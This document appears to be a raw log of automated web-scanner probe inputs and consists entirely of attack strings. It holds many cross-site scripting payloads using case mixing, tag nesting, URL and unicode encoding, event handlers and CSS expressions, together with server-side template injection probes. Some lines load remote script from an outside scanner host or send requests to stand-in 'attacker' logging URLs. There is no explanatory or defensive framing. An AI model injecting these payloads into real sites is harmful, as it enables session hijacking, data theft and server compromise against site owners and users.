555<ScRiPt >mbjB(9554)</ScRiPt>

555<svg  \xa0onload=AQai(9280)

555<a4H6TqQ x=9183>

555<ScR<ScRiPt>IpT>LAeG(9792)</sCr<ScRiPt>IpT>

555<ifRAme sRc=9029.com></IfRamE>

555}body{zzz:Expre/**/SSion(c2cP(9444))}

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9973></ScRiPt>

555<body onload=0h8n(9968)>

555<afl70rV x=9606>

555<img sRc='http://attacker-9131/log.php?

555<isindex type=image src=1 onerror=AQai(9471)>

555<ScRiPt >LAeG(9217)</ScRiPt>

555<aKr6ysr x=9478>

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >mbjB(9334)</ScRiPt>

555<img sRc='http://attacker-9427/log.php?

555<img src=//xss.bxss.me/t/dot.gif onload=0h8n(9270)>

555<img sRc='http://attacker-9289/log.php?

555<iframe src='data:text/html

5554dIKU <ScRiPt >c2cP(9405)</ScRiPt>

555<ScRiPt >lijU(9344)</ScRiPt>

555<ayN1WL3<

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9869></ScRiPt>

555<aga7Abe<

555<adNhYFH<

555<img src=xyz OnErRor=0h8n(9240)>

555<svg  \xa0onload=mbjB(9063)

555<WGL3FO>LMZ9N[!+!]</WGL3FO>

555<body onload=AQai(9587)>

555<WM5D9F>QYPBZ[!+!]</WM5D9F>

555<ScRiPt >LAeG(9305)</ScRiPt>

555<isindex type=image src=1 onerror=mbjB(9944)>

555<script>lijU(9219)</script>

555<ifRAme sRc=9823.com></IfRamE>

555<img/src=">" onerror=alert(9110)>

555<img src=//xss.bxss.me/t/dot.gif onload=AQai(9978)>

555<img src=xyz OnErRor=AQai(9624)>

555<script>lijU(9100)</script>9100

555<iframe src='data:text/html

555<svg  \xa0onload=LAeG(9743)

555<img/src=">" onerror=alert(9064)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%30%68%38%6E%289204%29%3C%2F%73%43%72%69%70%54%3E

555<isindex type=image src=1 onerror=LAeG(9495)>

555<ScR<ScRiPt>IpT>lijU(9305)</sCr<ScRiPt>IpT>

555<acXN6Em x=9258>

555\u003CScRiPt\0h8n(9701)\u003C/sCripT\u003E

555<body onload=mbjB(9406)>

555&lt

555<img sRc='http://attacker-9820/log.php?

555<iframe src='data:text/html

%35%35%35%3C%53%63%52%69%50%74%20%3E%41%51%61%69%289597%29%3C%2F%73%43%72%69%70%54%3E

555'"()&%<zzz><ScRiPt >bED7(9001)</ScRiPt>

555<ScRiPt >lijU(9899)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=mbjB(9581)>

555<abEQjZh<

555\u003CScRiPt\AQai(9513)\u003C/sCripT\u003E

\xf6<img zzz onmouseover=0h8n(98521) //\xf6>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9732></ScRiPt>

555<body onload=LAeG(9449)>

555<img src=xyz OnErRor=mbjB(9485)>

555'"()&%<zzz><ScRiPt >wHA8(9137)</ScRiPt>

555&lt

'"()&%<zzz><ScRiPt >bED7(9897)</ScRiPt>

555<img/src=">" onerror=alert(9701)>

555<img src=//xss.bxss.me/t/dot.gif onload=LAeG(9586)>

555'"()&%<zzz><ScRiPt >6ZUU(9512)</ScRiPt>

\xf6<img zzz onmouseover=AQai(93021) //\xf6>

555<input autofocus onfocus=0h8n(9849)>

555<ScRiPt >lijU(9648)</ScRiPt>

5559725175

'"()&%<zzz><ScRiPt >wHA8(9181)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%6D%62%6A%42%289049%29%3C%2F%73%43%72%69%70%54%3E

555'"()&%<zzz><ScRiPt >TmiH(9995)</ScRiPt>

555<img src=xyz OnErRor=LAeG(9812)>

555<svg  \xa0onload=lijU(9925)

5559933868

'"()&%<zzz><ScRiPt >6ZUU(9737)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

bfg2529\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2529

555\u003CScRiPt\mbjB(9310)\u003C/sCripT\u003E

555<img/src=">" onerror=alert(9868)>

'"()&%<zzz><ScRiPt >TmiH(9190)</ScRiPt>

555<input autofocus onfocus=AQai(9818)>

555&lt

bfgx9696\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9696

5559407768

555<isindex type=image src=1 onerror=lijU(9704)>

bfg3381\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3381

<a HrEF=jaVaScRiPT:>

555<iframe src='data:text/html

5559825565

<a HrEF=http://xss.bxss.me></a>

\xf6<img zzz onmouseover=mbjB(98131) //\xf6>

555}body{zzz:Expre/**/SSion(0h8n(9691))}

bfg2804\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2804

%35%35%35%3C%53%63%52%69%50%74%20%3E%4C%41%65%47%289898%29%3C%2F%73%43%72%69%70%54%3E

<%={{={@{#{${dfb}}%>

bfgx6176\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6176

bfgx3310\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3310

555\u003CScRiPt\LAeG(9430)\u003C/sCripT\u003E

555<body onload=lijU(9346)>

555

555<input autofocus onfocus=mbjB(9991)>

bfg9775\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9775

555wAY8b <ScRiPt >0h8n(9160)</ScRiPt>

<%={{={@{#{${dfb}}%>

<a HrEF=jaVaScRiPT:>

<%={{={@{#{${dfb}}%>

<a HrEF=http://xss.bxss.me></a>

555&lt

bfgx10484\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10484

555<WN1QXP>WH6CR[!+!]</WN1QXP>

555<img src=//xss.bxss.me/t/dot.gif onload=lijU(9511)>

555

<th:t="${dfb}#foreach

555

555}body{zzz:Expre/**/SSion(AQai(9009))}

<a HrEF=jaVaScRiPT:>

<%={{={@{#{${dfb}}%>

\xf6<img zzz onmouseover=LAeG(96121) //\xf6>

<th:t="${dfb}#foreach

5552FiTT <ScRiPt >AQai(9945)</ScRiPt>

555<ifRAme sRc=9922.com></IfRamE>

555

555<img src=xyz OnErRor=lijU(9596)>

<th:t="${dfb}#foreach

555

555}body{zzz:Expre/**/SSion(mbjB(9398))}

555<W71DRU>PQSFE[!+!]</W71DRU>

555<img/src=">" onerror=alert(9049)>

555<input autofocus onfocus=LAeG(9745)>

555<auTeHvQ x=9218>

555

555<ifRAme sRc=9091.com></IfRamE>

555Fnb5y <ScRiPt >mbjB(9114)</ScRiPt>

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%6C%69%6A%55%289264%29%3C%2F%73%43%72%69%70%54%3E

555<img sRc='http://attacker-9056/log.php?

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555\u003CScRiPt\lijU(9209)\u003C/sCripT\u003E

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<WMGW7P>NYWFC[!+!]</WMGW7P>

<a HrEF=http://xss.bxss.me></a>

555<aB4taNF x=9207>

555

555&lt

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<aaFVNDn<

555

555<ifRAme sRc=9450.com></IfRamE>

<a HrEF=jaVaScRiPT:>

555

555<img sRc='http://attacker-9045/log.php?

555

dfb{{98991*97996}}xca

\xf6<img zzz onmouseover=lijU(94181) //\xf6>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555<ajHvwtE<

555<anlENMT x=9278>

555}body{zzz:Expre/**/SSion(LAeG(9352))}

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

dfb[[${98991*97996}]]xca

555

dfb__${98991*97996}__::.x

555<img sRc='http://attacker-9426/log.php?

555<input autofocus onfocus=lijU(9444)>

555D4eQ9 <ScRiPt >LAeG(9649)</ScRiPt>

dfb__${98991*97996}__::.x

dfb[[${98991*97996}]]xca

dfb{{98991*97996}}xca

555<axHW32h<

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=http://xss.bxss.me></a>

555<WINTYI>XUHF9[!+!]</WINTYI>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb__${98991*97996}__::.x

<a HrEF=jaVaScRiPT:>

555<ScRiPt >6ZUU(9737)</ScRiPt>

dfb[[${98991*97996}]]xca

555<WT3VVK>URJOH[!+!]</WT3VVK>

555'"()&%<zzz><ScRiPt >Xy3V(9726)</ScRiPt>

555'"()&%<zzz><ScRiPt >NsW9(9889)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555}body{zzz:Expre/**/SSion(lijU(9817))}

555<ifRAme sRc=9691.com></IfRamE>

555<ScRiPt >wHA8(9461)</ScRiPt>

dfb__${98991*97996}__::.x

'"()&%<zzz><ScRiPt >Xy3V(9935)</ScRiPt>

555<script>6ZUU(9599)</script>

555G2zG2 <ScRiPt >lijU(9782)</ScRiPt>

'"()&%<zzz><ScRiPt >NsW9(9278)</ScRiPt>

555<aBeAtUs x=9016>

555<ScRiPt >bED7(9176)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<WSXUQL>WWLPC[!+!]</WSXUQL>

555<WD4ECO>IPTT6[!+!]</WD4ECO>

555<script>6ZUU(9464)</script>9464

555<ScRiPt >TmiH(9370)</ScRiPt>

5559053303

555<img sRc='http://attacker-9598/log.php?

5559362343

555'"()&%<zzz><ScRiPt >M24z(9146)</ScRiPt>

555<aKfzueJ<

555<ScR<ScRiPt>IpT>6ZUU(9449)</sCr<ScRiPt>IpT>

555<script>wHA8(9668)</script>

555<ifRAme sRc=9268.com></IfRamE>

bfg7388\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7388

bfg8627\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8627

555<WKH21D>A3EOC[!+!]</WKH21D>

555<WX0DDZ>JYP1E[!+!]</WX0DDZ>

bfgx1735\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1735

bfgx2738\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2738

555<script>bED7(9000)</script>

555<script>TmiH(9742)</script>

'"()&%<zzz><ScRiPt >M24z(9174)</ScRiPt>

555<script>wHA8(9806)</script>9806

555<ScRiPt >6ZUU(9126)</ScRiPt>

555<awTOQVy x=9570>

<%={{={@{#{${dfb}}%>

555<script>bED7(9396)</script>9396

555<script>TmiH(9557)</script>9557

<%={{={@{#{${dfb}}%>

555<ScR<ScRiPt>IpT>wHA8(9668)</sCr<ScRiPt>IpT>

5559331276

555

555'"()&%<zzz><ScRiPt >S0B6(9067)</ScRiPt>

555

555<ScR<ScRiPt>IpT>TmiH(9089)</sCr<ScRiPt>IpT>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9673></ScRiPt>

555<img sRc='http://attacker-9899/log.php?

555<ScR<ScRiPt>IpT>bED7(9091)</sCr<ScRiPt>IpT>

555<ScRiPt >wHA8(9196)</ScRiPt>

<th:t="${dfb}#foreach

dfb{{98991*97996}}xca

555<ScRiPt >TmiH(9687)</ScRiPt>

555<ScRiPt >bED7(9428)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9410></ScRiPt>

555<ScRiPt >6ZUU(9817)</ScRiPt>

bfg2658\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2658

555<aV0FYJ2<

'"()&%<zzz><ScRiPt >S0B6(9052)</ScRiPt>

555

dfb{{98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9909></ScRiPt>

555<svg  \xa0onload=6ZUU(9543)

555<ScRiPt >wHA8(9173)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9416></ScRiPt>

bfgx6938\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6938

5559376828

555'"()&%<zzz><ScRiPt >MGsj(9630)</ScRiPt>

dfb{{98991*97996}}xca

555<svg  \xa0onload=wHA8(9377)

555<ScRiPt >TmiH(9079)</ScRiPt>

555<isindex type=image src=1 onerror=6ZUU(9748)>

dfb{98991*97996}xca

'"()&%<zzz><ScRiPt >MGsj(9124)</ScRiPt>

555<ScRiPt >bED7(9273)</ScRiPt>

bfg6938\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6938

555<svg  \xa0onload=TmiH(9978)

555<isindex type=image src=1 onerror=wHA8(9993)>

dfb${98991*97996}xca

<%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555<iframe src='data:text/html

555<svg  \xa0onload=bED7(9889)

555<iframe src='data:text/html

555<isindex type=image src=1 onerror=TmiH(9581)>

bfgx5234\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5234

5559841545

dfb#{98991*97996}xca

555

555<body onload=wHA8(9591)>

dfb{98991*97996}xca

555<body onload=6ZUU(9063)>

555'"()&%<zzz><ScRiPt >xpbn(9692)</ScRiPt>

555<iframe src='data:text/html

555<isindex type=image src=1 onerror=bED7(9469)>

dfb{#98991*97996}xca

bfg7839\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7839

<th:t="${dfb}#foreach

555<img src=//xss.bxss.me/t/dot.gif onload=wHA8(9520)>

555<img src=//xss.bxss.me/t/dot.gif onload=6ZUU(9836)>

555<iframe src='data:text/html

<%={{={@{#{${dfb}}%>

'"()&%<zzz><ScRiPt >xpbn(9968)</ScRiPt>

dfb${98991*97996}xca

555

bfgx3162\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3162

555<body onload=TmiH(9545)>

555

555<img src=xyz OnErRor=wHA8(9590)>

dfb{@98991*97996}xca

dfb#{98991*97996}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

5559621404

555<img src=//xss.bxss.me/t/dot.gif onload=TmiH(9581)>

555<img src=xyz OnErRor=6ZUU(9745)>

555<body onload=bED7(9566)>

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

555<img/src=">" onerror=alert(9053)>

dfb{#98991*97996}xca

dfb{{=98991*97996}}xca

555

555<img src=xyz OnErRor=TmiH(9656)>

555<img/src=">" onerror=alert(9864)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

555<img src=//xss.bxss.me/t/dot.gif onload=bED7(9253)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%77%48%41%38%289025%29%3C%2F%73%43%72%69%70%54%3E

bfg9676\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9676

dfb{{98991*97996}}xca

dfb@(98991*97996)xca

555

dfb[[${98991*97996}]]xca

555<img/src=">" onerror=alert(9987)>

555<img src=xyz OnErRor=bED7(9015)>

dfb{@98991*97996}xca

<th:t="${dfb}#foreach

%35%35%35%3C%53%63%52%69%50%74%20%3E%36%5A%55%55%289517%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\wHA8(9381)\u003C/sCripT\u003E

bfgx4881\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4881

dfb{{98991*97996}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%54%6D%69%48%289007%29%3C%2F%73%43%72%69%70%54%3E

dfb[[${98991*97996}]]xca

dfb<%=98991*97996%>xca

555

555&lt

<%={{={@{#{${dfb}}%>

dfb__${98991*97996}__::.x

555<img/src=">" onerror=alert(9856)>

555\u003CScRiPt\6ZUU(9947)\u003C/sCripT\u003E

dfb{{=98991*97996}}xca

dfb#set($x=98991*97996)${x}xca

\xf6<img zzz onmouseover=wHA8(90921) //\xf6>

555\u003CScRiPt\TmiH(9512)\u003C/sCripT\u003E

dfb__${98991*97996}__::.x

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

%35%35%35%3C%53%63%52%69%50%74%20%3E%62%45%44%37%289905%29%3C%2F%73%43%72%69%70%54%3E

555&lt

555<input autofocus onfocus=wHA8(9176)>

dfb{{"abc"|title}}xca

dfb@(98991*97996)xca

555&lt

555<ScRiPt >M24z(9728)</ScRiPt>

555

555\u003CScRiPt\bED7(9125)\u003C/sCripT\u003E

<th:t="${dfb}#foreach

\xf6<img zzz onmouseover=6ZUU(95081) //\xf6>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=http://xss.bxss.me></a>

print("dfb" . 98991*97996 . "xca")

dfb<%=98991*97996%>xca

555<WXSLHV>CXLYR[!+!]</WXSLHV>

dfb{{98991*97996}}xca

555&lt

555<ScRiPt >S0B6(9847)</ScRiPt>

<a HrEF=jaVaScRiPT:>

\xf6<img zzz onmouseover=TmiH(96731) //\xf6>

555<input autofocus onfocus=6ZUU(9526)>

555

98991*97996*98991*97996

<a HrEF=http://xss.bxss.me></a>

dfb[[${98991*97996}]]xca

555<script>M24z(9470)</script>

dfb#set($x=98991*97996)${x}xca

555}body{zzz:Expre/**/SSion(wHA8(9941))}

\xf6<img zzz onmouseover=bED7(93341) //\xf6>

555<input autofocus onfocus=TmiH(9131)>

555<WBWHH0>Z2VQQ[!+!]</WBWHH0>

dfb{@math key=98991 method="multiply" operand=97996/}xca

<a HrEF=jaVaScRiPT:>

555<script>M24z(9667)</script>9667

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb__${98991*97996}__::.x

dfb{{"abc"|title}}xca

555TVPoG <ScRiPt >wHA8(9880)</ScRiPt>

555}body{zzz:Expre/**/SSion(6ZUU(9931))}

dfb{{{this}}}xca

555<ScR<ScRiPt>IpT>M24z(9402)</sCr<ScRiPt>IpT>

555<script>S0B6(9537)</script>

555<input autofocus onfocus=bED7(9186)>

<a HrEF=http://xss.bxss.me></a>

print("dfb" . 98991*97996 . "xca")

555YxumP <ScRiPt >6ZUU(9404)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

555<W8LWPS>LV5MR[!+!]</W8LWPS>

<a HrEF=http://xss.bxss.me></a>

555<WWN3KR>BD9VV[!+!]</WWN3KR>

#{98991*97996*98991*97996}

555<ScRiPt >M24z(9537)</ScRiPt>

555<script>S0B6(9238)</script>9238

555<ScRiPt >MGsj(9321)</ScRiPt>

98991*97996*98991*97996

dfb{{98991*97996}}xca

555<ifRAme sRc=9172.com></IfRamE>

<a HrEF=jaVaScRiPT:>

555<ifRAme sRc=9186.com></IfRamE>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9177></ScRiPt>

555<WFXW6Q>OCCIQ[!+!]</WFXW6Q>

dfb#{xca}=123

555<ScR<ScRiPt>IpT>S0B6(9282)</sCr<ScRiPt>IpT>

<a HrEF=jaVaScRiPT:>

dfb{@math key=98991 method="multiply" operand=97996/}xca

dfb[[${98991*97996}]]xca

555}body{zzz:Expre/**/SSion(TmiH(9199))}

555<adiC96X x=9130>

dfb{{'abcd'.toUpperCase()}}xca

dfb__${98991*97996}__::.x

555<script>MGsj(9886)</script>

dfb{{{this}}}xca

555GuveE <ScRiPt >TmiH(9455)</ScRiPt>

555<img sRc='http://attacker-9077/log.php?

555<aUa57yu x=9143>

555<ScRiPt >S0B6(9524)</ScRiPt>

555<ScRiPt >M24z(9026)</ScRiPt>

555}body{zzz:Expre/**/SSion(bED7(9803))}

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<img sRc='http://attacker-9575/log.php?

555<WQRNSD>4O19H[!+!]</WQRNSD>

555<script>MGsj(9527)</script>9527

555<agambzU<

#{98991*97996*98991*97996}

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9037></ScRiPt>

555<svg  \xa0onload=M24z(9090)

dfb{{98991*97996}}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555E5TVx <ScRiPt >bED7(9085)</ScRiPt>

555<a14DurF<

555<ifRAme sRc=9267.com></IfRamE>

dfb#{xca}=123

555<ScRiPt >xpbn(9871)</ScRiPt>

555<isindex type=image src=1 onerror=M24z(9817)>

555<ScR<ScRiPt>IpT>MGsj(9901)</sCr<ScRiPt>IpT>

555<ScRiPt >S0B6(9389)</ScRiPt>

dfb[[${98991*97996}]]xca

555<WQFRKJ>V7D1W[!+!]</WQFRKJ>

555<WPUWTP>NTYV5[!+!]</WPUWTP>

555'"()&%<zzz><ScRiPt >xDUS(9849)</ScRiPt>

555<svg  \xa0onload=S0B6(9996)

555<aEpBO0u x=9364>

dfb{{'abcd'.toUpperCase()}}xca

555<ifRAme sRc=9343.com></IfRamE>

555<ScRiPt >MGsj(9758)</ScRiPt>

dfb__${98991*97996}__::.x

555<iframe src='data:text/html

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<isindex type=image src=1 onerror=S0B6(9495)>

'"()&%<zzz><ScRiPt >xDUS(9092)</ScRiPt>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<script>xpbn(9447)</script>

555'"()&%<zzz><ScRiPt >6OpT(9756)</ScRiPt>

555<img sRc='http://attacker-9265/log.php?

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9844></ScRiPt>

555<body onload=M24z(9061)>

555<aXJWPS3 x=9789>

555<ScRiPt >NsW9(9997)</ScRiPt>

5559155993

555<iframe src='data:text/html

'"()&%<zzz><ScRiPt >6OpT(9021)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=M24z(9230)>

555<script>xpbn(9693)</script>9693

dfb{{98991*97996}}xca

555<ScRiPt >MGsj(9349)</ScRiPt>

555<img sRc='http://attacker-9273/log.php?

555<WOZFZN>0C6QQ[!+!]</WOZFZN>

555<img src=xyz OnErRor=M24z(9137)>

555<aaELv1f<

555<body onload=S0B6(9713)>

bfg4032\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4032

555<ScR<ScRiPt>IpT>xpbn(9291)</sCr<ScRiPt>IpT>

555<aRgRGWy<

5559229940

555<img/src=">" onerror=alert(9945)>

555<img src=//xss.bxss.me/t/dot.gif onload=S0B6(9294)>

dfb[[${98991*97996}]]xca

555<svg  \xa0onload=MGsj(9899)

555<script>NsW9(9919)</script>

bfgx10220\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10220

555<ScRiPt >xpbn(9934)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%4D%32%34%7A%289116%29%3C%2F%73%43%72%69%70%54%3E

dfb__${98991*97996}__::.x

bfg4416\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4416

555<img src=xyz OnErRor=S0B6(9644)>

555<isindex type=image src=1 onerror=MGsj(9998)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<script>NsW9(9937)</script>9937

555<img/src=">" onerror=alert(9564)>

555\u003CScRiPt\M24z(9772)\u003C/sCripT\u003E

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9558></ScRiPt>

555<iframe src='data:text/html

<%={{={@{#{${dfb}}%>

bfgx6278\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6278

555<ScR<ScRiPt>IpT>NsW9(9632)</sCr<ScRiPt>IpT>

555

555<ScRiPt >xpbn(9339)</ScRiPt>

<%={{={@{#{${dfb}}%>

%35%35%35%3C%53%63%52%69%50%74%20%3E%53%30%42%36%289631%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt >Xy3V(9419)</ScRiPt>

555<body onload=MGsj(9295)>

555&lt

<th:t="${dfb}#foreach

555<img src=//xss.bxss.me/t/dot.gif onload=MGsj(9108)>

555

555\u003CScRiPt\S0B6(9728)\u003C/sCripT\u003E

555<ScRiPt >NsW9(9440)</ScRiPt>

555<WWUMB6>HHYIX[!+!]</WWUMB6>

\xf6<img zzz onmouseover=M24z(98091) //\xf6>

555

555<svg  \xa0onload=xpbn(9652)

<th:t="${dfb}#foreach

dfb{{98991*97996}}xca

555&lt

555

555<img src=xyz OnErRor=MGsj(9209)>

555<script>Xy3V(9056)</script>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9701></ScRiPt>

555<isindex type=image src=1 onerror=xpbn(9011)>

555<input autofocus onfocus=M24z(9123)>

555<ScRiPt >NsW9(9412)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

\xf6<img zzz onmouseover=S0B6(93361) //\xf6>

<a HrEF=http://xss.bxss.me></a>

555

555<img/src=">" onerror=alert(9972)>

dfb{98991*97996}xca

555<script>Xy3V(9583)</script>9583

555<iframe src='data:text/html

555<svg  \xa0onload=NsW9(9301)

555<input autofocus onfocus=S0B6(9907)>

555<body onload=xpbn(9769)>

<a HrEF=jaVaScRiPT:>

555<isindex type=image src=1 onerror=NsW9(9364)>

555<ScR<ScRiPt>IpT>Xy3V(9857)</sCr<ScRiPt>IpT>

dfb${98991*97996}xca

dfb{{98991*97996}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%4D%47%73%6A%289887%29%3C%2F%73%43%72%69%70%54%3E

<a HrEF=http://xss.bxss.me></a>

555<img src=//xss.bxss.me/t/dot.gif onload=xpbn(9963)>

555<ScRiPt >Xy3V(9678)</ScRiPt>

555<iframe src='data:text/html

dfb#{98991*97996}xca

555}body{zzz:Expre/**/SSion(M24z(9130))}

555\u003CScRiPt\MGsj(9692)\u003C/sCripT\u003E

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9093></ScRiPt>

<a HrEF=jaVaScRiPT:>

dfb[[${98991*97996}]]xca

555<body onload=NsW9(9512)>

dfb{#98991*97996}xca

5555jZvv <ScRiPt >M24z(9336)</ScRiPt>

555&lt

555<img src=xyz OnErRor=xpbn(9402)>

555<ScRiPt >Xy3V(9504)</ScRiPt>

555}body{zzz:Expre/**/SSion(S0B6(9391))}

dfb__${98991*97996}__::.x

dfb{@98991*97996}xca

555<img/src=">" onerror=alert(9528)>

\xf6<img zzz onmouseover=MGsj(90201) //\xf6>

555<img src=//xss.bxss.me/t/dot.gif onload=NsW9(9954)>

555<WNLEPG>NPWAG[!+!]</WNLEPG>

555<svg  \xa0onload=Xy3V(9539)

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{=98991*97996}}xca

555<input autofocus onfocus=MGsj(9984)>

555hKEoY <ScRiPt >S0B6(9851)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%78%70%62%6E%289764%29%3C%2F%73%43%72%69%70%54%3E

555<img src=xyz OnErRor=NsW9(9814)>

555<ifRAme sRc=9609.com></IfRamE>

<a HrEF=http://xss.bxss.me></a>

555<WP9W7P>ZWB7Q[!+!]</WP9W7P>

dfb@(98991*97996)xca

555<isindex type=image src=1 onerror=Xy3V(9613)>

555<ScRiPt >6OpT(9714)</ScRiPt>

555<anJzt5O x=9809>

<a HrEF=jaVaScRiPT:>

555\u003CScRiPt\xpbn(9339)\u003C/sCripT\u003E

dfb<%=98991*97996%>xca

555<ifRAme sRc=9884.com></IfRamE>

555<img/src=">" onerror=alert(9341)>

555&lt

555<img sRc='http://attacker-9175/log.php?

555}body{zzz:Expre/**/SSion(MGsj(9843))}

555<WQLVOQ>CSDH7[!+!]</WQLVOQ>

555<iframe src='data:text/html

\xf6<img zzz onmouseover=xpbn(96441) //\xf6>

555<a1JGhCw x=9354>

555<script>6OpT(9724)</script>

555DXR9k <ScRiPt >MGsj(9038)</ScRiPt>

dfb#set($x=98991*97996)${x}xca

555<azTkNtk<

%35%35%35%3C%53%63%52%69%50%74%20%3E%4E%73%57%39%289902%29%3C%2F%73%43%72%69%70%54%3E

555<script>6OpT(9368)</script>9368

555<body onload=Xy3V(9059)>

555\u003CScRiPt\NsW9(9352)\u003C/sCripT\u003E

555<input autofocus onfocus=xpbn(9992)>

555<img sRc='http://attacker-9462/log.php?

555<WNLOBC>A2MFR[!+!]</WNLOBC>

555<img src=//xss.bxss.me/t/dot.gif onload=Xy3V(9015)>

dfb{{"abc"|title}}xca

555&lt

555<ScR<ScRiPt>IpT>6OpT(9622)</sCr<ScRiPt>IpT>

555<aE6WkwZ<

555<ifRAme sRc=9995.com></IfRamE>

<a HrEF=http://xss.bxss.me></a>

print("dfb" . 98991*97996 . "xca")

555<ScRiPt >6OpT(9517)</ScRiPt>

555<img src=xyz OnErRor=Xy3V(9105)>

\xf6<img zzz onmouseover=NsW9(98481) //\xf6>

555'"()&%<zzz><ScRiPt >a3YZ(9925)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9473></ScRiPt>

98991*97996*98991*97996

<a HrEF=jaVaScRiPT:>

555'"()&%<zzz><ScRiPt >hqMV(9993)</ScRiPt>

555<aYizYEU x=9908>

555<img/src=">" onerror=alert(9607)>

555'"()&%<zzz><ScRiPt >e3Tj(9106)</ScRiPt>

'"()&%<zzz><ScRiPt >a3YZ(9516)</ScRiPt>

555<input autofocus onfocus=NsW9(9124)>

dfb{@math key=98991 method="multiply" operand=97996/}xca

555}body{zzz:Expre/**/SSion(xpbn(9790))}

555<ScRiPt >6OpT(9013)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%58%79%33%56%289409%29%3C%2F%73%43%72%69%70%54%3E

'"()&%<zzz><ScRiPt >e3Tj(9976)</ScRiPt>

555<img sRc='http://attacker-9711/log.php?

555hLOMM <ScRiPt >xpbn(9488)</ScRiPt>

dfb{{{this}}}xca

5559437859

<a HrEF=http://xss.bxss.me></a>

'"()&%<zzz><ScRiPt >hqMV(9389)</ScRiPt>

#{98991*97996*98991*97996}

5559693267

